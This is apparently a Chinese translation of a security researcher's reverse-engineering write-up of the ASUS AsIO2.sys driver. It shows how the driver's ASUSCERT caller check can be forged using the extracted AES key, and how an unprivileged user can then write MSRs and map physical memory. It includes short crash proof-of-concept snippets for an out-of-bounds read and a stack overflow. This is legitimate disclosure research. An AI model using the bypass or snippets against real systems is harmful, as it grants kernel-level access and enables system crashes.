access驱动程序_华硕ASIO2.sys驱动程序逆向分析研究

2e59324548d7970da385fb7fd04f6c36.gif

我有个朋友买了一台新PC,然后他在GPU上安装了风扇,并将其连接到GPU板上的接头连接器上,不幸的是,在Linux上设置风扇速度似乎并不容易,风扇不旋转。

在Windows上,可以使用ASUS GPU Tweak II。因此,我想将其逆向分析一下了解其工作原理。

https://www.asus.com/supportonly/GPUTweak%20II/HelpDesk_Download

看过各种文件和驱动程序后, AsIO2.sys是一个不错的选择。

作为参考,该版本与GPU Tweak 2.1.7.1版放在一起:

5ae23f1fcf3fb735fcf1fa27f27e610d9945d668a149c7b7b0c84ffd6409d99a AsIO2_64.sys

d2f9c12eedbcb761b713ecb5646f2f5d.png

IDA静态分析

我试图看看Ghidra是否有用,但是由于它不包括WDK类型,所以我还是使用了Hex-Rays。

main函数很简单:

 __int64 __fastcall main(PDRIVER_OBJECT DriverObject)

 {

   NTSTATUS v2; // ebx

   struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h]

   struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h]

   PDEVICE_OBJECT DeviceObject; // [rsp+70h] [rbp+8h]

   DriverObject->MajorFunction[IRP_MJ_CREATE] = dispatch;

   DriverObject->MajorFunction[IRP_MJ_CLOSE] = dispatch;

   DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = dispatch;

   DriverObject->DriverUnload = unload;

   RtlInitUnicodeString(&DestinationString, L"\\Device\\Asusgio2");

   v2 = IoCreateDevice(DriverObject, 0, &DestinationString, 0xA040u, 0, 0, &DeviceObject);

   if ( v2 < 0 )

     return (unsigned int)v2;

   RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\Asusgio2");

   v2 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);

   if ( v2 < 0 )

     IoDeleteDevice(DeviceObject);

   return (unsigned int)v2;

 }

驱动程序仅注册一个函数,我dispatch为主要事件调用了该函数 ,当然,设备路径也很重要: \\Device\\Asusgio2。

AsIO2.sys它带有一个随附的DLL,它使我们可以更轻松地调用各种函数。

这是清单:

 ASIO_CheckReboot

 ASIO_Close

 ASIO_GetCpuID

 ASIO_InPortB

 ASIO_InPortD

 ASIO_MapMem

 ASIO_Open

 ASIO_OutPortB

 ASIO_OutPortD

 ASIO_ReadMSR

 ASIO_UnmapMem

 ASIO_WriteMSR

 AllocatePhysMemory

 FreePhysMemory

 GetPortVal

 MapPhysToLin

 OC_GetCurrentCpuFrequency

 SEG32_CALLBACK

 SetPortVal

 UnmapPhysicalMemory

检查一下是否每个人都可以访问它。

d2f9c12eedbcb761b713ecb5646f2f5d.png

设备访问安全

可以在设备创建代码中注意到它是使用IoCreateDevice而不是 使用 IoCreateDeviceSecure创建的,这意味着安全描述符将从注册表(最初是从.inf文件)中获取(如果存在)。

因此,从理论上讲,User都可以访问设备。但是,当尝试获取WinObj中的属性时,即使是admin,也会出现“访问被拒绝”错误。使用WinDbg可以检查安全描述符直接以确认:

 0: kd> !devobj \device\asusgio2

 Device object (ffff9685541c3d40) is for:

  Asusgio2 \Driver\Asusgio2 DriverObject ffff968551f33d40

 Current Irp 00000000 RefCount 1 Type 0000a040 Flags 00000040

 SecurityDescriptor ffffdf84fd2b90a0 DevExt 00000000 DevObjExt ffff9685541c3e90 

 ExtensionFlags (0x00000800)  DOE_DEFAULT_SD_PRESENT

 Characteristics (0000000000)  

 Device queue is not busy.

 0: kd> !sd ffffdf84fd2b90a0 0x1

 ->Revision: 0x1

 ->Sbz1    : 0x0

 ->Control : 0x8814

             SE_DACL_PRESENT

             SE_SACL_PRESENT

             SE_SACL_AUTO_INHERITED

             SE_SELF_RELATIVE

 ->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administrators)

 ->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

 ->Dacl    : 

 ->Dacl    : ->AclRevision: 0x2

 ->Dacl    : ->Sbz1       : 0x0

 ->Dacl    : ->AclSize    : 0x5c

 ->Dacl    : ->AceCount   : 0x4

 ->Dacl    : ->Sbz2       : 0x0

 ->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE

 ->Dacl    : ->Ace[0]: ->AceFlags: 0x0

 ->Dacl    : ->Ace[0]: ->AceSize: 0x14

 ->Dacl    : ->Ace[0]: ->Mask : 0x001201bf

 ->Dacl    : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)

 [...]

实际上,Everyone应该具有RWE访问权限(0x001201bf)。但是由于某些原因,即使以管理员身份运行,WinObj也会出现“访问被拒绝”错误。

Caller  进程检查

为什么无法打开设备?让我们深入研究该dispatch函数,在开始时,我们可以看到sub_140001EA8调用来确定访问是否会失败。

   if ( !info->MajorFunction ) {

     res = !sub_140001EA8() ? STATUS_ACCESS_DENIED : 0;

     goto end;

   }

sub_140001EA8里面有一些有趣的东西,包括函数sub_1400017B8:

 [...]

   v4 = ZwQueryInformationProcess(-1i64, ProcessImageFileName, v3);

       if ( v4 >= 0 )

         RtlCopyUnicodeString(DestinationString, v3);

因此,它查询执行请求的进程路径,将其传递给sub_140002620,然后将其读入新分配的缓冲区中:

 if ( ZwOpenFile(&FileHandle, 0x80100000, &ObjectAttributes, &IoStatusBlock, 1u, 0x20u) >= 0

     && ZwQueryInformationFile(FileHandle, &IoStatusBlock, &FileInformation, 0x18u, FileStandardInformation) >= 0 )

   {

     buffer = ExAllocatePoolWithTag(NonPagedPool, FileInformation.EndOfFile.LowPart, 'pPR');

     res = buffer;

     if ( buffer )

     {

       memset(buffer, 0, FileInformation.EndOfFile.QuadPart);

       if ( ZwReadFile( FileHandle, 0i64, 0i64, 0i64, &IoStatusBlock, res,

              FileInformation.EndOfFile.LowPart, &ByteOffset, 0i64) < 0 )

重命名这些函数:check_caller,get_process_name,read_file,get_PE_timestamp

 .text:140002DA8 get_PE_timestamp proc near              ; CODE XREF: check_caller+B3↑p

 .text:140002DA8                 test    rcx, rcx

 .text:140002DAB                 jnz     short loc_140002DB3

 .text:140002DAD                 mov     eax, STATUS_UNSUCCESSFUL

 .text:140002DB2                 retn

 .text:140002DB3 ; ---------------------------------------------------------------------------

 .text:140002DB3

 .text:140002DB3 loc_140002DB3:                          ; CODE XREF: get_PE_timestamp+3↑j

 .text:140002DB3                 movsxd  rax, [rcx+IMAGE_DOS_HEADER.e_lfanew]

 .text:140002DB7                 mov     ecx, [rax+rcx+IMAGE_NT_HEADERS.FileHeader.TimeDateStamp]

 .text:140002DBB                 xor     eax, eax

 .text:140002DBD                 mov     [rdx], ecx

 .text:140002DBF                 retn

 .text:140002DBF get_PE_timestamp endp

看一下check_call:

 res = get_PE_timestamp(file_ptr, &pe_timestamp);

 if ( res >= 0 ) {

   res = sub_1400028D0(file_ptr, &pos, &MaxCount);

   if ( res >= 0 ) {

     if ( MaxCount > 0x10 )

       res = STATUS_ACCESS_DENIED;

     else {

       some_data = 0i64;

       memmove(&some_data, (char *)file_ptr + pos, MaxCount);

       aes_decrypt(&some_data);

       diff = pe_timestamp - some_data;

       diff2 = pe_timestamp - some_data;

       if ( diff2 < 0 )

       {

         diff = some_data - pe_timestamp;

         diff2 = some_data - pe_timestamp;

       }

       res = STATUS_ACCESS_DENIED;

       if ( diff < 7200 )

         res = 0;

     }

   }

 }

sub_1400028D0从调用的进程二进制文件中读取一些信息,使用AES解密它,并检查它是否在PE时间戳记的2小时内……

绕过检测

其中一个子函数给了很大的提示:

 bool __fastcall compare_string_to_ASUSCERT(PCUNICODE_STRING String1)

 {

   _UNICODE_STRING DestinationString; // [rsp+20h] [rbp-18h]

   RtlInitUnicodeString(&DestinationString, L"ASUSCERT");

   return RtlCompareUnicodeString(String1, &DestinationString, 0) == 0;

 }

该代码解析调用PE来查找名为ASUSCERT的资源,我们可以在atkexComSvc.exe使用驱动程序的服务中进行验证:

3835d3fe27d0d160f115b65c01fd7eb5.png

我们可以用openssl来检查解密后的值是否与PE时间戳相对应:

 $ openssl aes-128-ecb -nopad -nosalt -d -K AA7E151628AED2A6ABF7158809CF4F3C -in ASUSCERT.dat  |hd

 00000000  38 df 6d 5d 00 00 00 00  00 00 00 00 00 00 00 00  |8.m]............|

 $ date --date="@$((0x5d6ddf38))"

 Tue Sep  3 05:34:16 CEST 2019

 $ x86_64-w64-mingw32-objdump -x atkexComSvc.exe|grep -i time/date

 Time/Date  Tue Sep  3 05:34:37 2019

一旦知道了这一点,我们只需要生成具有正确ASUSCERT资源并使用驱动程序的PE即可。

在Linux上为Windows编译

由于我讨厌Visual Studio版本,非常占用内存,在Linux下更加舒适,因此我准备在Debian上编译所有内容。

只需使用安装必需的工具即可apt install mingw-w64。

Makefile包括windres用于编译资源文件的资源,该文件由gcc直接链接!

 CC=x86_64-w64-mingw32-gcc

 COPTS=-std=gnu99

 asio2: asio2.c libAsIO2_64.a ASUSCERT.o

  $(CC) $(COPTS) -o asio2 -W -Wall asio2.c  libAsIO2_64.a ASUSCERT.o

 libAsIO2_64.a: AsIO2_64.def

  x86_64-w64-mingw32-dlltool -d AsIO2_64.def -l libAsIO2_64.a

 ASUSCERT.o:

  ./make_ASUSCERT.py

  x86_64-w64-mingw32-windres ASUSCERT.rc ASUSCERT.o

笔记:

· 我使用Dll2Def创建了.def

· make_ASUSCERT.py 只是获取当前时间并将其加密以生成 ASUSCERT_now.dat

· ASUSCERT.rc 是一行: ASUSCERT RCDATA ASUSCERT_now.dat

Dll2Def`没有用,可以直接将dll指定为gcc:

$(CC) $(COPTS) -o asio2 -W -Wall asio2.c  AsIO2_64.dll ASUSCERT.o

d2f9c12eedbcb761b713ecb5646f2f5d.png

使用 AsIO2.sys

作为普通用户,我们现在可以使用驱动程序提供的所有功能。例如:BSOD通过覆盖IA32_LSTARMSR:

 extern int ASIO_WriteMSR(unsigned int msr_num, uint64_t *val);

 ASIO_WriteMSR(0xC0000082, &value);

或分配和映射任意物理内存:

 value = ASIO_MapMem(0xF000, 0x1000);

 printf("MapMem: %016" PRIx64 "\n", value);

 hexdump("0xF000", (void *)value, 0x100);

显示如下:

MapMem: 000000000017f000

 0xF000

   0000  00 f0 00 40 ec f7 ff ff 00 40 00 40 ec f7 ff ff  ...@.....@.@....

   0010  cb c8 44 0e 00 00 00 00 46 41 43 50 f4 00 00 00  ..D.....FACP....

   0020  04 40 49 4e 54 45 4c 20 34 34 30 42 58 20 20 20  .@INTEL 440BX

   0030  00 00 04 06 50 54 4c 20 40 42 0f 00 00 30 f7 0f  ....PTL @B...0..

   0040  b0 e1 42 0e 00 00 09 00 b2 00 00 00 00 00 00 00  ..B.............

   0050  40 04 00 00 00 00 00 00 44 04 00 00 00 00 00 00  @.......D.......

   0060  00 00 00 00 48 04 00 00 4c 04 00 00 00 00 00 00  ....H...L.......

d2f9c12eedbcb761b713ecb5646f2f5d.png

漏洞挖掘

BSOD并读取resources

如反编译代码所示, 资源条目的OffsetToData字段将ASUSCERT添加到节的偏移量中,并且在读取资源值时将被取消引用。

 if ( compare_string_to_ASUSCERT(&String1) )

 {

     ASUSCERT_entry_off = next_dir->entries[j].OffsetToData;

     LODWORD(ASUSCERT_entry_off) = ASUSCERT_entry_off & 0x7FFFFFFF;

     ASUSCERT_entry = (meh *)((char *)rsrc + ASUSCERT_entry_off);

     if ( (ASUSCERT_entry->entries[j].OffsetToData & 0x80000000) == 0 )

     {

         ASUSCERT_off = ASUSCERT_entry->entries[0].OffsetToData;

         *res_size = *(unsigned int *)((char *)&rsrc->Size + ASUSCERT_off);

         if ( *(DWORD *)((char *)&rsrc->OffsetToData + ASUSCERT_off) )

         v25 = *(unsigned int *)((char *)&rsrc->OffsetToData + ASUSCERT_off)

             + sec->PointerToRawData

             - (unsigned __int64)sec->VirtualAddress;

         else

         v25 = 0i64;

         *asus_cert_pos = v25;

         res = 0;

         break;

     }

 }

因此,将设置OffsetToData为较大的值将触发越界读取和BSOD:

 *** Fatal System Error: 0x00000050

                        (0xFFFF82860550C807,0x0000000000000000,0xFFFFF8037D4F3140,0x0000000000000002)

 Driver at fault: 

 ***     AsIO2.sys - Address FFFFF8037D4F3140 base at FFFFF8037D4F0000, DateStamp 5cac6cf4

 0: kd> kv

  #  RetAddr           : Args to Child                        : Call Site

 00  fffff803`776a9942 : ffff8286`0550c807 00000000`00000003  : nt!DbgBreakPointWithStatus

 [...]

 06  fffff803`7d4f3140 : fffff803`7d4f1fb3 00000000`00000000  : nt!KiPageFault+0x360

 07  fffff803`7d4f1fb3 : 00000000`00000000 ffff8285`05514000  : AsIO2+0x3140

 08  fffff803`7d4f1b96 : 00000000`c0000002 00000000`00000000  : AsIO2+0x1fb3

 09  fffff803`7750a939 : fffff803`77aaf125 00000000`00000000  : AsIO2+0x1b96

 0a  fffff803`775099f4 : 00000000`00000000 00000000`00000000  : nt!IofCallDriver+0x59

 [...]

 15  00000000`0040176b : 00007ffe`fa041b1c 00007ffe`ebd2a336  : AsIO2_64!ASIO_Open+0x45

 16  00007ffe`fa041b1c : 00007ffe`ebd2a336 00007ffe`ebd2a420  : asio2_rsrc_bsod+0x176b

AsIO2+0x1fb3是紧接在memmove地址的地址:

 memmove(&ASUSCERT, (char *)file_ptr + asus_cert_pos, MaxCount);

 decrypt(&ASUSCERT);

缓冲区溢出

该UnMapMem函数容易受到驱动程序可能具有的缓冲区溢出漏洞的影响:

   map_mem_req Dst; // [rsp+40h] [rbp-30h]

   [...]

   v15 = info->Parameters.DeviceIoControl.InputBufferLength;

   memmove(&Dst, Irp->AssociatedIrp.SystemBuffer, size);

可以通过以下简单的方式触发:

 #define ASIO_UNMAPMEM 0xA0402450

 int8_t buffer[0x48] = {0};

 DWORD returned;

 DeviceIoControl(driver, ASIO_UNMAPMEM, buffer, sizeof(buffer), 

                                        buffer, sizeof(buffer),

                                        &returned, NULL);

由于堆栈cookie验证,较小的缓冲区将触发BugCheck,而较长的缓冲区(4096)将仅触发读取的边界:

 *** Fatal System Error: 0x00000050

                        (0xFFFFD48D003187C0,0x0000000000000002,0xFFFFF806104031D0,0x0000000000000002)

 Driver at fault: 

 ***     AsIO2.sys - Address FFFFF806104031D0 base at FFFFF80610400000, DateStamp 5cac6cf4

 0: kd> kv

  #  RetAddr           : Args to Child                       : Call Site

 00  fffff806`0c2a9942 : ffffd48d`003187c0 00000000`00000003 : nt!DbgBreakPointWithStatus

 [...]

 06  fffff806`104031d0 : fffff806`10401a0a ffffc102`cef7a948 : nt!KiPageFault+0x360

 07  fffff806`10401a0a : ffffc102`cef7a948 ffffe008`00000000 : AsIO2+0x31d0

 08  fffff806`0c10a939 : ffffc102`cc0f9e00 00000000`00000000 : AsIO2+0x1a0a

 09  fffff806`0c6b2bd5 : ffffd48d`00317b80 ffffc102`cc0f9e00 : nt!IofCallDriver+0x59

 0a  fffff806`0c6b29e0 : 00000000`00000000 ffffd48d`00317b80 : nt!IopSynchronousServiceTail+0x1a5

 0b  fffff806`0c6b1db6 : 00007ffb`3634e620 00000000`00000000 : nt!IopXxxControlFile+0xc10

 0c  fffff806`0c1d3c15 : 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56

 0d  00007ffb`37c7c1a4 : 00007ffb`357d57d7 00000000`00000018 : nt!KiSystemServiceCopyEnd+0x25 

 0e  00007ffb`357d57d7 : 00000000`00000018 00000000`00000001 : ntdll!NtDeviceIoControlFile+0x14

Bug:broken的64位代码

该AllocatePhysMemory函数在64位上中断:

       alloc_virt = MmAllocateContiguousMemory(*systembuffer_, (PHYSICAL_ADDRESS)0xFFFFFFFFi64);

       HIDWORD(systembuffer) = (_DWORD)alloc_virt;

       LODWORD(systembuffer) = MmGetPhysicalAddress(alloc_virt).LowPart;

       *(_QWORD *)systembuffer_ = systembuffer;

MmAllocateContiguousMemory 返回64位值,但是代码将其截断为32位,然后再将其返回到用户区,这可能稍后会触发BSOD。

参考资料

https://www.secureauth.com/labs/advisories/asus-drivers-elevation-privilege-vulnerabilities

https://gist.github.com/hfiref0x/585e22bc50f07c4baf0d5f6b7fcba0f9

参考及来源:https://syscall.eu/blog/2020/03/30/asus_gio/

0f4ddb9b23bf4c97a3eee7950e0e3c99.png

1c7d2497160e46073ce8f5e54ca9ca57.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值